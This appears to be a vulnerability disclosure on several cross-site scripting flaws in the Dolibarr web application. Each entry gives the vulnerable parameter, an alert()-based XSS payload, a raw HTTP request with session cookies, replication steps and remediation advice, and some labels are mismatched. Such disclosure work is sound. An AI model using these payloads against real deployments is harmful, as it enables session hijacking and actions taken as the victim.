• Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.
• User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
Issue background: Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Tools used: Mozilla Firefox browser and Tamper Data Addon

Vulnerability Name: Cross-site scripting (Stored)

Severity: Critical

URL: http://localhost/dolibarr/user/fiche.php
Affected Users: Authenticated user and admins

Issue details: The value of the email request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bea68"><img src=a onerror=alert(1)>13228 was submitted in the email parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The proof-of-concept attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

HTTP request:
POST /dolibarr/user/fiche.php?id=2 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/dolibarr/user/fiche.php?id=2&action=edit
Cookie: mp_5e17e15e77e349ee2850bffcebb7cdeb_mixpanel=%7B%22distinct_id%22%3A%20%22144d6cce6fc4b0-0010965be81e618-45564137-100200-144d6cce6fd4c5%22%2C%22%24initial_referrer%22%3A%20%22http%3A%2F%2Flocalhost%2Fmyreportmanager%2F%22%2C%22%24initial_referring_domain%22%3A%20%22localhost%22%7D; __atuvc=38%7C15; SESS2f090b9824406e4362345a00f588b0ff=V7rHt4JgSz2U5BlEwtMcAtf53OtKRt0mhSfrFrb3n-w; DOLSESSID_636e2e420d10c4a9056d9a4aacf317fb=34g5b7ckocvhn7ubkadjr47n55
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------89552749915619
Content-Length: 2023

-----------------------------89552749915619
Content-Disposition: form-data; name="token"

4e3018ee618da95bccb8c38845a4f027
-----------------------------89552749915619
Content-Disposition: form-data; name="action"

update
-----------------------------89552749915619
Content-Disposition: form-data; name="entity"

1
-----------------------------89552749915619
Content-Disposition: form-data; name="lastname"

test
-----------------------------89552749915619
Content-Disposition: form-data; name="photo"; filename=""
Content-Type: application/octet-stream


-----------------------------89552749915619
Content-Disposition: form-data; name="firstname"

test1
-----------------------------89552749915619
Content-Disposition: form-data; name="job"


-----------------------------89552749915619
Content-Disposition: form-data; name="login"

test
-----------------------------89552749915619
Content-Disposition: form-data; name="password"

123qwe,./
-----------------------------89552749915619
Content-Disposition: form-data; name="admin"

0
-----------------------------89552749915619
Content-Disposition: form-data; name="superadmin"

0
-----------------------------89552749915619
Content-Disposition: form-data; name="office_phone"


-----------------------------89552749915619
Content-Disposition: form-data; name="user_mobile"
-----------------------------89552749915619
Content-Disposition: form-data; name="office_fax"


-----------------------------89552749915619
Content-Disposition: form-data; name="email"

bea68"><img src=a onerror=alert(1)>13228
-----------------------------89552749915619
Content-Disposition: form-data; name="signature"


-----------------------------89552749915619
Content-Disposition: form-data; name="fk_user"

-1
-----------------------------89552749915619
Content-Disposition: form-data; name="accountancy_code"


-----------------------------89552749915619
Content-Disposition: form-data; name="save"

Save
-----------------------------89552749915619--

Affected parameter(s): email

Steps to replicate:
1. Login into Dolibarr application with any user and go to "Users & Group" --> "User Card".
2. Click on modify to modify the user details
3. Start any interception tool to intercept the request i.e. tamper data mozilla addon, burp suite, owasp zap etc. I have used mozilla firefox browser and tamper data addon.
4. After starting tamper data addon, click on save to save the user details and intercept the request
5. Manipulate email parameter value with payload bea68"><img src=a onerror=alert(1)>13228 and submit the request and see the output in browser
6. This input was echoed unmodified in the application's response that is the proof of vulnerability


Screenshot:

Remediation detail: In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
• Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.
• User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
Issue background: Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Tools used: Mozilla Firefox browser and Tamper Data Addon
Vulnerability Name: Cross-site scripting (Stored)

Severity: Critical

URL: http://localhost/dolibarr/user/fiche.php
Affected Users: Authenticated user and admins

Issue details: The value of the firstname request parameter is copied into the HTML document as plain text between tags. The payload 60b01<img src=a onerror=alert(1)>f17dd was submitted in the firstname parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The proof-of-concept attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

HTTP request:
POST /dolibarr/user/fiche.php?id=2 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/dolibarr/user/fiche.php?id=2&action=edit
Cookie: mp_5e17e15e77e349ee2850bffcebb7cdeb_mixpanel=%7B%22distinct_id%22%3A%20%22144d6cce6fc4b0-0010965be81e618-45564137-100200-144d6cce6fd4c5%22%2C%22%24initial_referrer%22%3A%20%22http%3A%2F%2Flocalhost%2Fmyreportmanager%2F%22%2C%22%24initial_referring_domain%22%3A%20%22localhost%22%7D; __atuvc=38%7C15; SESS2f090b9824406e4362345a00f588b0ff=V7rHt4JgSz2U5BlEwtMcAtf53OtKRt0mhSfrFrb3n-w; DOLSESSID_636e2e420d10c4a9056d9a4aacf317fb=34g5b7ckocvhn7ubkadjr47n55
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------89552749915619
Content-Length: 2023

-----------------------------89552749915619
Content-Disposition: form-data; name="token"

4e3018ee618da95bccb8c38845a4f027
-----------------------------89552749915619
Content-Disposition: form-data; name="action"

update
-----------------------------89552749915619
Content-Disposition: form-data; name="entity"

1
-----------------------------89552749915619
Content-Disposition: form-data; name="lastname"

test
-----------------------------89552749915619
Content-Disposition: form-data; name="photo"; filename=""
Content-Type: application/octet-stream


-----------------------------89552749915619
Content-Disposition: form-data; name="firstname"

test160b01<img src=a onerror=alert(1)>f17dd
-----------------------------89552749915619
Content-Disposition: form-data; name="job"


-----------------------------89552749915619
Content-Disposition: form-data; name="login"

test
-----------------------------89552749915619
Content-Disposition: form-data; name="password"

123qwe,./
-----------------------------89552749915619
Content-Disposition: form-data; name="admin"

0
-----------------------------89552749915619
Content-Disposition: form-data; name="superadmin"

0
-----------------------------89552749915619
Content-Disposition: form-data; name="office_phone"


-----------------------------89552749915619
Content-Disposition: form-data; name="user_mobile"


-----------------------------89552749915619
Content-Disposition: form-data; name="office_fax"


-----------------------------89552749915619
Content-Disposition: form-data; name="email"


-----------------------------89552749915619
Content-Disposition: form-data; name="signature"


-----------------------------89552749915619
Content-Disposition: form-data; name="fk_user"

-1
-----------------------------89552749915619
Content-Disposition: form-data; name="accountancy_code"


-----------------------------89552749915619
Content-Disposition: form-data; name="save"

Save
-----------------------------89552749915619--

Affected parameter(s): firstname

Steps to replicate:
7. Login into Dolibarr application with any user and go to "Users & Group" --> "User Card".
8. Click on modify to modify the user details
9. Start any interception tool to intercept the request i.e. tamper data mozilla addon, burp suite, owasp zap etc. I have used mozilla firefox browser and tamper data addon.
10. After starting tamper data addon, click on save to save the user details and intercept the request
11. Manipulate firstname parameter value with payload test160b01<img src=a onerror=alert(1)>f17dd and submit the request and see the output in browser
12. This input was echoed unmodified in the application's response that is the proof of vulnerability

Screenshot:

Remediation detail: In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
• Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.
• User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
Issue background: Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Tools used: Mozilla Firefox browser and Tamper Data Addon
Vulnerability Name: Cross-site scripting (Stored)

Severity: Critical

URL: http://localhost/dolibarr/user/fiche.php
Affected Users: Authenticated user and admins

Issue details: The value of the job request parameter is copied into the HTML document as plain text between tags. The payload 5db8e<img src=a onerror=alert(1)>a0840 was submitted in the job parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The proof-of-concept attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

HTTP request:
POST /dolibarr/user/fiche.php?id=2 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/dolibarr/user/fiche.php?id=2&action=edit
Cookie: mp_5e17e15e77e349ee2850bffcebb7cdeb_mixpanel=%7B%22distinct_id%22%3A%20%22144d6cce6fc4b0-0010965be81e618-45564137-100200-144d6cce6fd4c5%22%2C%22%24initial_referrer%22%3A%20%22http%3A%2F%2Flocalhost%2Fmyreportmanager%2F%22%2C%22%24initial_referring_domain%22%3A%20%22localhost%22%7D; __atuvc=38%7C15; SESS2f090b9824406e4362345a00f588b0ff=V7rHt4JgSz2U5BlEwtMcAtf53OtKRt0mhSfrFrb3n-w; DOLSESSID_636e2e420d10c4a9056d9a4aacf317fb=34g5b7ckocvhn7ubkadjr47n55
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------89552749915619
Content-Length: 2023

-----------------------------89552749915619
Content-Disposition: form-data; name="token"

4e3018ee618da95bccb8c38845a4f027
-----------------------------89552749915619
Content-Disposition: form-data; name="action"

update
-----------------------------89552749915619
Content-Disposition: form-data; name="entity"

1
-----------------------------89552749915619
Content-Disposition: form-data; name="lastname"

test
-----------------------------89552749915619
Content-Disposition: form-data; name="photo"; filename=""
Content-Type: application/octet-stream


-----------------------------89552749915619
Content-Disposition: form-data; name="firstname"

test1
-----------------------------89552749915619
Content-Disposition: form-data; name="job"

5db8e<img src=a onerror=alert(1)>a0840
-----------------------------89552749915619
Content-Disposition: form-data; name="login"

test
-----------------------------89552749915619
Content-Disposition: form-data; name="password"

123qwe,./
-----------------------------89552749915619
Content-Disposition: form-data; name="admin"

0
-----------------------------89552749915619
Content-Disposition: form-data; name="superadmin"

0
-----------------------------89552749915619
Content-Disposition: form-data; name="office_phone"


-----------------------------89552749915619
Content-Disposition: form-data; name="user_mobile"


-----------------------------89552749915619
Content-Disposition: form-data; name="office_fax"

-----------------------------89552749915619
Content-Disposition: form-data; name="email"

-----------------------------89552749915619
Content-Disposition: form-data; name="signature"

-----------------------------89552749915619
Content-Disposition: form-data; name="fk_user"

-1
-----------------------------89552749915619
Content-Disposition: form-data; name="accountancy_code"

-----------------------------89552749915619
Content-Disposition: form-data; name="save"

Save
-----------------------------89552749915619--

Affected parameter(s): firstname

Steps to replicate:
13. Login into Dolibarr application with any user and go to "Users & Group" --> "User Card".
14. Click on modify to modify the user details
15. Start any interception tool to intercept the request i.e. tamper data mozilla addon, burp suite, owasp zap etc. I have used mozilla firefox browser and tamper data addon.
16. After starting tamper data addon, click on save to save the user details and intercept the request
17. Manipulate job parameter value with payload 5db8e<img src=a onerror=alert(1)>a0840 and submit the request and see the output in browser
18. This input was echoed unmodified in the application's response that is the proof of vulnerability

Screenshot:

Remediation detail: In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
• Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.
• User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
Issue background: Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Tools used: Mozilla Firefox browser and Tamper Data Addon
Vulnerability Name: Cross-site scripting (Stored)

Severity: Critical

URL: http://localhost/dolibarr/user/fiche.php
Affected Users: Authenticated user and admins

Issue details: The value of the lastname request parameter is copied into the HTML document as plain text between tags. The payload fc1dd<img src=a onerror=alert(1)>baf03 was submitted in the lastname parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The proof-of-concept attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
HTTP request:
POST /dolibarr/user/fiche.php?id=2 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/dolibarr/user/fiche.php?id=2&action=edit
Cookie: mp_5e17e15e77e349ee2850bffcebb7cdeb_mixpanel=%7B%22distinct_id%22%3A%20%22144d6cce6fc4b0-0010965be81e618-45564137-100200-144d6cce6fd4c5%22%2C%22%24initial_referrer%22%3A%20%22http%3A%2F%2Flocalhost%2Fmyreportmanager%2F%22%2C%22%24initial_referring_domain%22%3A%20%22localhost%22%7D; __atuvc=38%7C15; SESS2f090b9824406e4362345a00f588b0ff=V7rHt4JgSz2U5BlEwtMcAtf53OtKRt0mhSfrFrb3n-w; DOLSESSID_636e2e420d10c4a9056d9a4aacf317fb=34g5b7ckocvhn7ubkadjr47n55
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------89552749915619
Content-Length: 2023

-----------------------------89552749915619
Content-Disposition: form-data; name="token"

4e3018ee618da95bccb8c38845a4f027
-----------------------------89552749915619
Content-Disposition: form-data; name="action"

update
-----------------------------89552749915619
Content-Disposition: form-data; name="entity"

1
-----------------------------89552749915619
Content-Disposition: form-data; name="lastname"

testfc1dd<img src=a onerror=alert(1)>baf03
-----------------------------89552749915619
Content-Disposition: form-data; name="photo"; filename=""
Content-Type: application/octet-stream


-----------------------------89552749915619
Content-Disposition: form-data; name="firstname"

test1
-----------------------------89552749915619
Content-Disposition: form-data; name="job"


-----------------------------89552749915619
Content-Disposition: form-data; name="login"

test
-----------------------------89552749915619
Content-Disposition: form-data; name="password"

123qwe,./
-----------------------------89552749915619
Content-Disposition: form-data; name="admin"

0
-----------------------------89552749915619
Content-Disposition: form-data; name="superadmin"

0
-----------------------------89552749915619
Content-Disposition: form-data; name="office_phone"


-----------------------------89552749915619
Content-Disposition: form-data; name="user_mobile"


-----------------------------89552749915619
Content-Disposition: form-data; name="office_fax"


-----------------------------89552749915619
Content-Disposition: form-data; name="email"


-----------------------------89552749915619
Content-Disposition: form-data; name="signature"


-----------------------------89552749915619
Content-Disposition: form-data; name="fk_user"

-1
-----------------------------89552749915619
Content-Disposition: form-data; name="accountancy_code"


-----------------------------89552749915619
Content-Disposition: form-data; name="save"

Save
-----------------------------89552749915619--

Affected parameter(s): lastname

Steps to replicate:
19. Login into Dolibarr application with any user and go to "Users & Group" --> "User Card".
20. Click on modify to modify the user details
21. Start any interception tool to intercept the request i.e. tamper data mozilla addon, burp suite, owasp zap etc. I have used mozilla firefox browser and tamper data addon.
22. After starting tamper data addon, click on save to save the user details and intercept the request
23. Manipulate lastname parameter value with payload fc1dd<img src=a onerror=alert(1)>baf03 and submit the request and see the output in browser
24. This input was echoed unmodified in the application's response that is the proof of vulnerability

Screenshot:

Remediation detail: In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
• Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.
• User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
Issue background: Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Tools used: Mozilla Firefox browser and Tamper Data Addon
Vulnerability Name: Cross-site scripting (reflected)

Severity: Critical

URL: http://localhost/dolibarr/user/fiche.php
Affected Users: Authenticated user and admins

Issue details: The value of the login request parameter is copied into the HTML document as plain text between tags. The payload 99ecb<img src=a onerror=alert(1)>45a0d was submitted in the login parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The proof-of-concept attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
HTTP request:
POST /dolibarr/user/fiche.php?id=2 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/dolibarr/user/fiche.php?id=2&action=edit
Cookie: mp_5e17e15e77e349ee2850bffcebb7cdeb_mixpanel=%7B%22distinct_id%22%3A%20%22144d6cce6fc4b0-0010965be81e618-45564137-100200-144d6cce6fd4c5%22%2C%22%24initial_referrer%22%3A%20%22http%3A%2F%2Flocalhost%2Fmyreportmanager%2F%22%2C%22%24initial_referring_domain%22%3A%20%22localhost%22%7D; __atuvc=38%7C15; SESS2f090b9824406e4362345a00f588b0ff=V7rHt4JgSz2U5BlEwtMcAtf53OtKRt0mhSfrFrb3n-w; DOLSESSID_636e2e420d10c4a9056d9a4aacf317fb=34g5b7ckocvhn7ubkadjr47n55
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------89552749915619
Content-Length: 2023

-----------------------------89552749915619
Content-Disposition: form-data; name="token"

4e3018ee618da95bccb8c38845a4f027
-----------------------------89552749915619
Content-Disposition: form-data; name="action"

update
-----------------------------89552749915619
Content-Disposition: form-data; name="entity"

1
-----------------------------89552749915619
Content-Disposition: form-data; name="lastname"

test
-----------------------------89552749915619
Content-Disposition: form-data; name="photo"; filename=""
Content-Type: application/octet-stream


-----------------------------89552749915619
Content-Disposition: form-data; name="firstname"

test1
-----------------------------89552749915619
Content-Disposition: form-data; name="job"


-----------------------------89552749915619
Content-Disposition: form-data; name="login"

test99ecb<img src=a onerror=alert(1)>45a0d
-----------------------------89552749915619
Content-Disposition: form-data; name="password"

123qwe,./
-----------------------------89552749915619
Content-Disposition: form-data; name="admin"

0
-----------------------------89552749915619
Content-Disposition: form-data; name="superadmin"

0
-----------------------------89552749915619
Content-Disposition: form-data; name="office_phone"


-----------------------------89552749915619
Content-Disposition: form-data; name="user_mobile"


-----------------------------89552749915619
Content-Disposition: form-data; name="office_fax"


-----------------------------89552749915619
Content-Disposition: form-data; name="email"


-----------------------------89552749915619
Content-Disposition: form-data; name="signature"


-----------------------------89552749915619
Content-Disposition: form-data; name="fk_user"

-1
-----------------------------89552749915619
Content-Disposition: form-data; name="accountancy_code"


-----------------------------89552749915619
Content-Disposition: form-data; name="save"

Save
-----------------------------89552749915619--

Affected parameter(s): login

Steps to replicate:
25. Login into Dolibarr application with any user and go to "Users & Group" --> "User Card".
26. Click on modify to modify the user details
27. Start any interception tool to intercept the request i.e. tamper data mozilla addon, burp suite, owasp zap etc. I have used mozilla firefox browser and tamper data addon.
28. After starting tamper data addon, click on save to save the user details and intercept the request
29. Manipulate login parameter value with payload 99ecb<img src=a onerror=alert(1)>45a0d and submit the request and see the output in browser
30. User logout inadequately and attack input was echoed unmodified in the application's response that is the proof of vulnerability

Screenshot:

Remediation detail: In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
• Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.
• User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
Issue background: Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Tools used: Mozilla Firefox browser and Tamper Data Addon
Vulnerability Name: Cross-site scripting (reflected)

Severity: Critical

URL: http://localhost/dolibarr/index.php
Affected Users: All authenticated users

Issue details: The value of the leftmenu request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload %2d%2d%3e%3c%2f%73%43%72%49%70%54%3e%3c%73%43%72%49%70%54%3e%61%6c%65%72%74%28%35%33%38%31%37%29%3c%2f%73%43%72%49%70%54%3e was submitted in the leftmenu parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

HTTP request:
GET /dolibarr/index.php?mainmenu=home&leftmenu=%2d%2d%3e%3c%2f%73%43%72%49%70%54%3e%3c%73%43%72%49%70%54%3e%61%6c%65%72%74%28%35%33%38%31%37%29%3c%2f%73%43%72%49%70%54%3e&optioncss=print HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8082/dolibarr/index.php?mainmenu=home&leftmenu=
Cookie: mp_5e17e15e77e349ee2850bffcebb7cdeb_mixpanel=%7B%22distinct_id%22%3A%20%22144d6cce6fc4b0-0010965be81e618-45564137-100200-144d6cce6fd4c5%22%2C%22%24initial_referrer%22%3A%20%22http%3A%2F%2Flocalhost%2Fmyreportmanager%2F%22%2C%22%24initial_referring_domain%22%3A%20%22localhost%22%7D; __atuvc=38%7C15; SESS2f090b9824406e4362345a00f588b0ff=V7rHt4JgSz2U5BlEwtMcAtf53OtKRt0mhSfrFrb3n-w; DOLSESSID_636e2e420d10c4a9056d9a4aacf317fb=34g5b7ckocvhn7ubkadjr47n55
Connection: keep-alive

Affected parameter(s): leftmenu





Steps to replicate:
31. Open Dolibarr application in browser.
32. Start any interception tool to intercept the request i.e. tamper data mozilla addon, burp suite, owasp zap etc. I have used mozilla firefox browser and tamper data addon.
33. After starting tamper data addon, fill login details and click on connection button to login into application and intercept the request
34. Manipulate leftmenu parameter value with payload %2d%2d%3e%3c%2f%73%43%72%49%70%54%3e%3c%73%43%72%49%70%54%3e%61%6c%65%72%74%28%37%36%36%32%36%29%3c%2f%73%43%72%49%70%54%3e
or submit http://localhost/dolibarr/index.php?mainmenu=home&leftmenu=%2d%2d%3e%3c%2f%73%43%72%49%70%54%3e%3c%73%43%72%49%70%54%3e%61%6c%65%72%74%28%37%36%36%32%36%29%3c%2f%73%43%72%49%70%54%3e&optioncss=print in address bar and see the output in browser
35. This input was echoed unmodified in the application's response that is the proof of vulnerability

Screenshot:


Remediation detail: In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
• Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.
• User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
Issue background: Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Tools used: Mozilla Firefox browser and Tamper Data Addon

Vulnerability Name: Cross-site scripting (reflected)

Severity: Critical

URL: http://localhost/dolibarr/viewimage.php
Affected Users: All authenticated users

Issue details: The value of the modulepart request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload %3cscript%3ealert%2892207%29%3c%2fscript%3e was submitted in the modulepart parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

HTTP request:
GET /dolibarr/viewimage.php?modulepart=userphoto%3cscript%3ealert%2892207%29%3c%2fscript%3e&entity=1&file=2%2F0%2F1234&cache=0 HTTP/1.0
Cookie: DOLSESSID_636e2e420d10c4a9056d9a4aacf317fb=t2h9dudaj2qm7vp2skgkhpgs94
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: localhost
Referer: http://localhost/dolibarr/user/fiche.php?id=2

Affected parameter(s): modulepart

Steps to replicate:
36. Open Dolibarr application in browser.
37. Start any interception tool to intercept the request i.e. tamper data mozilla addon, burp suite, owasp zap etc. I have used mozilla firefox browser and tamper data addon.
38. After starting tamper data addon, fill login details and click on connection button to login into application and intercept the request
39. Manipulate modulepart parameter value with payload %3cscript%3ealert%2892207%29%3c%2fscript%3e
or submit http://localhost/dolibarr/viewimage.php?modulepart=userphoto%3cscript%3ealert%2892207%29%3c%2fscript%3e&entity=1&file=2%2F0%2F1234&cache=0 in address bar and see the output in browser
40. This input was echoed unmodified in the application's response that is the proof of vulnerability

Screenshot:


Remediation detail: In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
• Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.
• User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
